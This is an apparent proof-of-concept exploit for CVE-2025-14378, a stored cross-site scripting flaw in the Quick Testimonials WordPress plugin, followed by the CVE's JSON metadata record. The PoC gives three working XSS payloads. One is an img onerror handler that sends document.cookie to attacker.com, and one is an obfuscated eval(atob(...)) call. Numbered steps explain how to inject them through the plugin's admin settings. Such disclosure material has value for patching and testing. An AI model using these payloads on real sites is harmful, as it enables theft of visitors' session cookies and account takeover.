CVE-2025-14378

<!-- CVE-2025-14378 PoC: Stored XSS in Quick Testimonials WordPress Plugin --> <!-- Attack requires admin-level privileges --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handler on an img tag --> <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie> <!-- Method 3: Using inline event handler --> <div onmouseover='eval(atob("YWxlcnQoJ1hTUyBBdHRhY2tlZCcpOw=="))'>test</div> <!-- PoC Explanation --> <!-- Step 1: Login as administrator --> <!-- Step 2: Navigate to Quick Testimonials plugin settings --> <!-- Step 3: Insert any of the above payloads in testimonial fields --> <!-- Step 4: Save settings --> <!-- Step 5: When any user views the page containing the testimonial, the XSS will execute -->

{"cve": {"id": "CVE-2025-14378", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:48.950", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quick Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/quick-testimonials/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1907308f-a722-48ce-8da4-a6c21ee29575?source=cve", "source": "[email protected]"}]}}